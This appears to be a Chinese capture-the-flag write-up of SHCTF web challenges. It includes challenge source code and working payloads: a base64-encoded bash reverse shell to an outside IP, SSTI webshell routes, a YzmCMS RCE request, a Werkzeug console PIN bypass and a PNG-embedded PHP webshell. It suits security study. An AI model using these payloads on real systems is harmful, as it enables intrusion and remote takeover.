SHCTF week1-3

news/2024/10/30 13:08:02/文章来源:https://www.cnblogs.com/meraklbz/p/18515649

最后一周没时间做了,开摆了.

1zflask

robots.txt文件泄露加任意命令执行

import os
import flask
from flask import Flask, request, send_from_directory, send_fileapp = Flask(__name__)@app.route('/api')
def api():cmd = request.args.get('SSHCTFF', 'ls /')result = os.popen(cmd).read()return result@app.route('/robots.txt')
def static_from_root():return send_from_directory(app.static_folder,'robots.txt')@app.route('/s3recttt')
def get_source():file_path = "app.py"return send_file(file_path, as_attachment=True)if __name__ == '__main__':app.run(debug=True)

MD5 Master

<?php
highlight_file(__file__);$master = "MD5 master!";if(isset($_POST["master1"]) && isset($_POST["master2"])){if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){echo $master . "<br>";echo file_get_contents('/flag');}
}
else{die("master? <br>");
}

使用md5collgen生成指定文件头的两个有哈希碰撞的文件,然后摘除文件头,转换为url编码,post发包即可.

ez_gittt

git泄露,用githacker拉下来git show一下即可.

jvav

一个java的编译器,写个弹shell脚本运行即可.

oppopop

 <?php
class SH {public static $Web = false;public static $SHCTF = false;
}
class C {public $p;public function flag(){($this->p)();}
}
class T{public $n;public function __destruct(){SH::$Web = true;echo $this->n;}
}
class F {public $o;public function __toString(){SH::$SHCTF = true;$this->o->flag();return "其实。。。。,";}
}
class SHCTF {public $isyou;public $flag;public function __invoke(){if (SH::$Web) {($this->isyou)($this->flag);echo "小丑竟是我自己呜呜呜~";} else {echo "小丑别看了!";}}
}
if (isset($_GET['data'])) {highlight_file(__FILE__);unserialize(base64_decode($_GET['data']));
} else {highlight_file(__FILE__);echo "小丑离我远点!!!";
} 

一个简单的php反序列化,链子是直的,没记录

单身十八年的手速

前端调试题,flag在前端base64加密,直接解密即可.

蛐蛐?蛐蛐!

<?php
highlight_file(__FILE__);
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){if($_POST['ququ']!=null){$eval_param = $_POST['ququ'];if(strncmp($eval_param,'ququk1',6)===0){eval($_POST['ququ']);}else{echo("第三关没过去\n");}}echo("第二关没过去\n");}
else{echo("第一关没过去\n");
}

strrev用%00截断直接绕过,第二处直接让ququ=ququk1;system('ls');就可以执行命令.

自助查询

mysql注入,sqlmap一把梭,拿shell查看env即可.

入侵者禁入

from flask import Flask, session, request, render_template_stringapp = Flask(__name__)
app.secret_key = '0day_joker'@app.route('/')
def index():session['role'] = {'is_admin': 0,'flag': 'your_flag_here'}with open(__file__, 'r') as file:code = file.read()return code@app.route('/admin')
def admin_handler():try:role = session.get('role')if not isinstance(role, dict):raise Exceptionexcept Exception:return 'Without you, you are an intruder!'if role.get('is_admin') == 1:flag = role.get('flag') or 'admin'message = "Oh,I believe in you! The flag is: %s" % flagreturn render_template_string(message)else:return "Error: You don't have the power!"if __name__ == '__main__':app.run('0.0.0.0', port=80)

flasksession伪造,在flask中进行ssti注入.

python3 flask_session_cookie_manager3.py decode -s '0day_joker' -c 'eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZwhsQw.YPEvA83GUvh-w5ne8CUpK6pNkTk'python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "{'role': {'flag': '{{config.__class__.__init__.__globals__[\'os\'].popen(\'cat /flag\').read()}}', 'is_admin': 1}}"

guess_the_number

seed爆破

import flask
import random
from flask import Flask, request, render_template, send_fileapp = Flask(__name__)@app.route('/')
def index():return render_template('index.html', first_num = first_num)  @app.route('/s0urce')
def get_source():file_path = "app.py"return send_file(file_path, as_attachment=True)@app.route('/first')
def get_first_number():return str(first_num)@app.route('/guess')
def verify_seed():num = request.args.get('num')if num == str(second_num):with open("/flag", "r") as file:return file.read()return "nonono"def init():global seed, first_num, second_numseed = random.randint(1000000,9999999)random.seed(seed)first_num = random.randint(1000000000,9999999999)second_num = random.randint(1000000000,9999999999)init()
app.run(debug=True)

写出exp如下

import randomknown_first_num = 5803753526  # Replace with the actual known first_numfor seed_candidate in range(1000000, 10000000):random.seed(seed_candidate)generated_first_num = random.randint(1000000000, 9999999999)if generated_first_num == known_first_num:random.seed(seed_candidate)  # Reset seedrandom.randint(1000000000, 9999999999)  # Skip first_numsecond_num = random.randint(1000000000, 9999999999)print(f"Found seed: {seed_candidate}")print(f"Second number is: {second_num}")break

小小cms

YzmCMS版本7.0,存在前台RCE的洞,找个payload直接打.

POST /pay/index/pay_callback.html HTTP/1.1
Host: 210.44.150.15:39810
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72out_trade_no[0]=eq&out_trade_no[1]=cat${IFS}/flag&out_trade_no[2]=system

love_flask

from flask import Flask, request, render_template_string
# Flask 2.0.1
# Werkzeug 2.2.2
app = Flask(__name__)
html_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Pretty Input Box</title>
<style>.pretty-input {width: 100%;padding: 10px 20px;margin: 20px 0;font-size: 16px;border: 1px solid #ccc;border-radius: 25px;box-sizing: border-box;box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);transition: border 0.3s ease-in-out;}.pretty-input:focus {border-color: #4CAF50;outline: none;}.submit-button {width: 100%;padding: 10px 20px;margin: 20px 0;font-size: 16px;color: white;background-color: #4CAF50;border: none;border-radius: 25px;cursor: pointer;}.container {max-width: 300px;margin: auto;text-align: center;}
</style>
</head>
<body><div class="container"><form action="/namelist" method="get"><input type="text" class="pretty-input" name="name" placeholder="Enter your name..."><input type="submit" class="submit-button" value="Submit"></form>
</div></body>
</html>
'''@app.route('/')
def pretty_input():return render_template_string(html_template)@app.route('/namelist', methods=['GET'])
def name_list():name = request.args.get('name')  template = '<h1>Hi, %s.</h1>' % namerendered_string =  render_template_string(template)if rendered_string:return 'Success Write your name to database'else:return 'Error'if __name__ == '__main__':app.run(port=8080)

这里有模板注入,但是无回显,因此只能弹shell

{{config.__class__.__init__.__globals__['os'].popen("bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}'").read()}}

补档一个新的trick,可以利用SSTI来写一个内存马

`{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}`

通过访问/shell路由即可触发.

MD5 GOD!

给出了源码.

from flask import *
import hashlib, os, randomapp = Flask(__name__)
app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
salt = os.urandom(16)def md5(data):return hashlib.md5(data).hexdigest().encode()def check_sign(sign, username, msg, salt):if sign == md5(salt + msg + username):return Truereturn Falsedef getRandom(str_length=16):"""生成一个指定长度的随机字符串"""random_str =''base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'length =len(base_str) -1for i in range(str_length):random_str +=base_str[random.randint(0, length)]return random_strusers = {}
sign_users = {}@app.route("/")
def index():if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:return redirect("/login")sign = session.get('sign')username = session.get('username')msg = session.get('msg')if check_sign(sign, username, msg, salt):sign_users[username.decode()] = 1return "签到成功"return redirect("/login")@app.route("/login", methods=["GET", "POST"])
def login():if request.method == "POST":username = request.form.get('username')password = request.form.get('password')# print(password)if username in users and users[username] == password:session["username"] = username.encode()session["msg"] = md5(salt + password.encode())session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())return "登陆成功"else:return "登陆失败"else:return render_template("login.html")@app.route("/users")
def user():return json.dumps(sign_users)@app.route("/flag")
def flag():for user in users:if sign_users[user] != 1:return "flag{杂鱼~}"return open('/flag', 'r').read()def init():global users, sign_usersfor _ in range(64):username = getRandom(8)pwd = getRandom(16)users[username] = pwdsign_users[username] = 0users["student"] = "student"sign_users["student"] = 0init()

分析一下网站的逻辑.首先随机生成了64个用户及其密码.然后又添加了一个用户名和密码都是student的用户.
有一个用户登录页面,可以去进行登录,如果登录成功会返回一个session,可以携带session进行签到.
着重看一下session生成的逻辑和检验的逻辑.
session生成:

session["username"] = username.encode()
session["msg"] = md5(salt + password.encode())
session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())

session检验:

def check_sign(sign, username, msg, salt):if sign == md5(salt + msg + username):return Truereturn False

那么此时发现了一个问题,就是对于msg来说,知道salt的长度和student用户的password的值,那么可以对msg进行哈希扩展攻击.
写出利用脚本如下

import requests
import re
import subprocessurl = "http://210.44.150.15:33120"
user_url = url + "/users"
login_url = url + "/login"secret_key = "Th1s_is_5ecr3t_k3y"prev_pattern = r'\'msg\':\sb\'(.*?)\''
user_pattern = r'"(.*?)"'
sig_pattern = r'predicted sig:\s*(.*)'
msg_pattern = r'student\\x80(\\x[A-Za-z0-9][A-Za-z0-9])*'data = {"username": "student","password": "student"
}r = requests.post(url = login_url, data = data)
session = r.cookies.get("session")
fake_msg = subprocess.getoutput("python3 /home/lbz/CTFtools/flask-session-cookie-manager/flask_session_cookie_manager3.py decode -s 'Th1s_is_5ecr3t_k3y' -c '" + session + "'")
prev_msg = re.search(prev_pattern, fake_msg).group(1)
prev_msg = prev_msg.rstrip()r = requests.get(url = user_url)
matches = re.findall(user_pattern, r.text)requests.get(url = url, cookies = {"session": session})for i in matches:hashpump_cmd = "/home/lbz/CTFtools/HashPump-partialhash-master/hashpump -s " + prev_msg + " -d student -a " + i + " -k 16"#请自行修改路径output = subprocess.getoutput(hashpump_cmd)sig = re.search(sig_pattern, output).group(1)msg = re.search(msg_pattern, output).group(0)session_cmd = "python3 /home/lbz/CTFtools/flask-session-cookie-manager/flask_session_cookie_manager3.py encode -s '" + secret_key + "' -t \"{'msg': b'" + msg + "', 'sign': b'" + sig + "', 'username': b'" + i + "'}\""#请自行修改路径session = subprocess.getoutput(session_cmd).rstrip()cookies = {"session": session}headers = {"Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9"}r = requests.get(url = url, cookies = cookies, headers = headers)if "签到成功" in r.text:print(r.text)

脚本的难度主要是在正则上,其他的地方还是很好懂的.解码student的session,然后拿msg去进行哈希伪造攻击.使用新得到的sig,添加了填充字符student作为msg,以及username去进行session伪造,携带session进行签到即可.

dickle

from flask import Flask, request
import pickle
import base64
import ioBLACKLISTED_CLASSES = ['subprocess.check_output','builtins.eval','builtins.exec','os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads', 'subprocess.call', 'subprocess.check_call', 'subprocess.Popen', 'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'pty.spawn', 'posixfile.open', 'posixfile.fileopen','__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile''eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system', 'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe','os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir','os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove','os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk','os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe','os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv','os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads','subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen','commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob','linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move','shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing','code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open','posixfile.fileopen'
]class SafeUnpickler(pickle.Unpickler):def find_class(self, module, name):print(f"module: {module}, name: {name}")if f"{module}.{name}" in BLACKLISTED_CLASSES:raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))return super().find_class(module, name)app = Flask(__name__)@app.route("/", methods=["GET", "POST"])
def index():if request.method == "POST":encoded_data = request.form["data"]decoded_data = base64.b64decode(encoded_data)try:data_stream = io.BytesIO(decoded_data)unpickler = SafeUnpickler(data_stream)result = unpickler.load()return f"Deserialized data: {list(result)}"except Exception as e:return f"Error during deserialization: {str(e)}"else:return """<form method="post"><label for="data">Enter your serialized data:</label><br><textarea id="data" name="data"></textarea><br><input type="submit" value="Submit"></form>"""if __name__ == "__main__":app.run(port=1111)

一道pickle反序列化的题,黑名单重写了SafeUnpickler.以前的都是白名单的,这里是黑名单,问题就出在这里.
python的os包的底层实现是和操作系统相关的.在windows下是通过nt实现的,在linux下是通过posix实现的.也就是说他虽然黑名单禁用了os.system,但是如果在linux下对os.system进行序列化,实际序列化的是posix,在反序列化的时候不会受到os.system的屏蔽.
写出脚本在linux下运行

import pickle 
import os
import base64class Exploit():def __reduce__(self):return (os.system, ("bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}'",))exploit = Exploit()
serialized = pickle.dumps(exploit)
encoded = base64.b64encode(serialized)
print(encoded)

hacked_website

Typecho 1.2.1,找到了一个rc的cve漏洞,然而出题人对邮箱格式进行了加固防御,利用不了.
/admin后台登录,弱密码爆破结果admin/qwer1234
在控制台功能中找到了外观修改页面,路由为:http://210.44.150.15:31882/admin/theme-editor.php.能够直接修改index.php的部分php代码.直接写个马进去,蚁剑连拿flag.

一道flask算pin的特殊利用.
算pin的部分没啥可说的.
直接访问/console提示:The browser (or proxy) sent a request that this server could not understand.
这是由于flask在debug模式下禁止不在安全名单上的host进行访问.
我们伪造http头部如下即可正常访问/console

GET /console HTTP/1.1
Host: 127.0.0.1:26421
Referer: http://210.44.150.15:26421/console

然而我们此时拿到的这个console是不可以直接去输入pin进行交互的,直接输入pin会提示网络问题.
我们看到返回的html中包含以下部分

   <script>var CONSOLE_MODE = true,EVALEX = true,EVALEX_TRUSTED = true,SECRET = "OfYUepPjnjLyMX9EnOi1";</script>

此时可以携带secret参数去手动访问console路由对我们的pin进行一个认证.

__debugger__=yes&cmd=pinauth&pin=546-131-104&s=OfYUepPjnjLyMX9EnOi1

如果认证成功了的话会返回一个cookie

HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.10.15
Date: Thu, 24 Oct 2024 13:02:02 GMT
Content-Type: application/json
Content-Length: 34
Set-Cookie: __wzdb96f6fc656ac9ee385ea=1729774922|4e48264b18f5; HttpOnly; Path=/; SameSite=Strict
Connection: close{"auth": true, "exhausted": false}

得到了一个cookie,这个cookie就是在console中携带的cookie,我们携带cookie即可执行命令.

__debugger__=yes&cmd=__import__('os').system('dir')&frm=0&s=OfYUepPjnjLyMX9EnOi1

拜师之旅·番外

一道文件上传的题,提供了文件上传和文件读取的功能(注意一般的是不提供文件读取的功能的.
观察到进行文件读取的时候url如下

http://210.44.150.15:41460/view.php?image=/upload/1734887938.png

这个view.php一定是实现了某种奇怪的逻辑.猜测有文件包含漏洞.尝试伪协议以及路径遍历,都没成功,然后想到了如果图片马被文件包含了的话是可以直接执行命令的...
然后下载图片发现传上去的内容和下载下来的内容并不相同,这里存在一个图片的二次渲染问题.
直接那存的png二次渲染脚本去打.

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'1.png');  //要修改的图片的路径/* 木马内容
<?$_GET[0]($_POST[1]);?>*/ 
?>

生成了一个php片马,可以在访问图片的时候直接去执行命令,然后以文本形式查看图片得到回显.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824108.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络流的认识

# 网络流的认识 ## 什么是流网络 网络(`network`)是指一个特殊的有向图 $G = (V,E)$,其与一般有向图的不同之处在于有**容量和源汇点**,不考虑反向边。 其中,我们有以下变量来方便表示: - $S$:源点 - $T$:汇点 - $c(u,v)$:表示从 $u$ 到 $v$ 这条有向边的**容量**为 $…

CF370

废话370:纪念盗笔青春提交记录几个脑残错误后文会提到 3.题目: 黄黄绿蓝蓝( 幸好 370 不是“红红红红红” | “黑黑黑黑黑” ) 算法: 是没有滴 贪心,前缀和 正题 CF370A Rook, Bishop and King 签到数学题 车可以两步到达任意点 ,只需判断出发点与目标点是否在同行 | 同…

那两天,我的灵魂缺失了

写在前面 261 字 | 思念 | 回忆 | 爱恋 | 悔恨 | 执念 | 断舍离 | 放弃 For Nileicna. 正文我的灵魂每一天都在游走。6 月 8 日的下午 17:00,吹过一阵风,带走我的身体。我的灵魂停留在原地。我跟很多人说,我不认识你。那些时候,我的灵魂总是寄存在十字架上。自那天之后,每…

轻松上手CANoe Scenario Editor———智能网联工程师入门篇

(小编先带大家扫盲一下) V2X(Vehicle-to-Everything,车与万物通信)是一种先进的通信技术,使车辆能够与周围环境进行信息交换。这不仅包括与其他车辆(V2V)的互动,还涵盖与基础设施(V2I)和行人(V2P)的通信。通过V2X,车辆能够实时获取周围信息,从而提升行驶安全性和…

Windows Server 2016 中文版、英文版下载 (updated Oct 2024)

Windows Server 2016 中文版、英文版下载 (updated Oct 2024)Windows Server 2016 中文版、英文版下载 (updated Oct 2024) Windows Server 2016 Version 1607 请访问原文链接:https://sysin.org/blog/windows-server-2016/ 查看最新版。原创作品,转载请保留出处。 作者主页:…

Windows 7 Windows Server 2008 R2 简体中文版下载 (updated Oct 2024)

Windows 7 & Windows Server 2008 R2 简体中文版下载 (updated Oct 2024)Windows 7 & Windows Server 2008 R2 简体中文版下载 (updated Oct 2024) Windows 7 & Windows Server 2008 R2 (2024 年 10 月更新) 请访问原文链接:https://sysin.org/blog/windows-7/ 查…

SA:从入门到入土

基本应用 读入一个长度为 $ n $ 的由大小写英文字母或数字组成的字符串,请把这个字符串的所有非空后缀按字典序(用 ASCII 数值比较)从小到大排序。 解法 1.将每个后缀取出来,直接排序 \(O(n^2 \log n)\) 2.用hash二分LCP比较下一位,\(O(n \log^2 n)\) 3.倍增求后缀数组,\…

06.动态代理设计模式

06.动态代理设计模式 目录介绍01.为何要动态代理1.1 为何要动态代理 1.2 动态代理思考02.动态代理的概念2.1 动态代理定义 2.2 动态代理类比理解 2.3 动态代理参与者 2.4 动态代理步骤03.动态代理的实现3.1 罗列一个场景 3.2 用一个例子理解代理 3.3 基于接口动态代理 3.4 基于…

.NET 8.0 开源在线考试系统(支持移动端)

https://www.cnblogs.com/1312mn/p/18510576阅读目录前言 系统介绍 系统功能 支持环境 系统源码 项目部署 项目效果 项目总结 项目地址 最后前言 推荐一款基于.NET 8.0 免费开源跨平台在线考试系统,系统不仅支持桌面端,还特别优化了移动端的用户体验。 通过本系统可以轻松搭建…

GaussDB数据计算路由层(Coordinator)关键技术方案

GaussDB Kernel V5版本的Catalog还是本地存储, 所以还需要考虑catalog的持久化问题.未来演进元数据解耦,Coordinator 无状态, 就不需要考虑Catalog持久化问题了。但是跨节点场景下的事务提交在Coordinator上还是要持久化的。图14 Coordinator模块图 路由信息:每个表数据共分1…

GaussDB全局事务管理层(GTM)关键技术方案

GTM 仅处理全局时间戳请求, 64位CSN递增,几乎都是CPU ++和消息收发操作。不是每次都写ETCD, 而是采用定期持久化到ETCD 里, 每次写ETCD的CSN要加上一个backup_step (100w), 一旦GTM故障,CSN从ETCD读取出来的值保证单调递增。当前GTM 只完成CSN++, 预估可以支持200M/s 请求…

GaussDB集群管理层(CM)关键技术方案

GaussDB Kernel V5 集群管理层关键模块如下。图4 集群管理层组件设计图 CM 组件提供了四种服务 CM Agent, CM Server, OM Monitor, cm_ctl,与各类实例服务组件(CN, DN, GTM 等)一起构成了整个数据库集群系统。cm_ctl通过命令行执行集群的启动、停止、状态查询、主备倒换、备…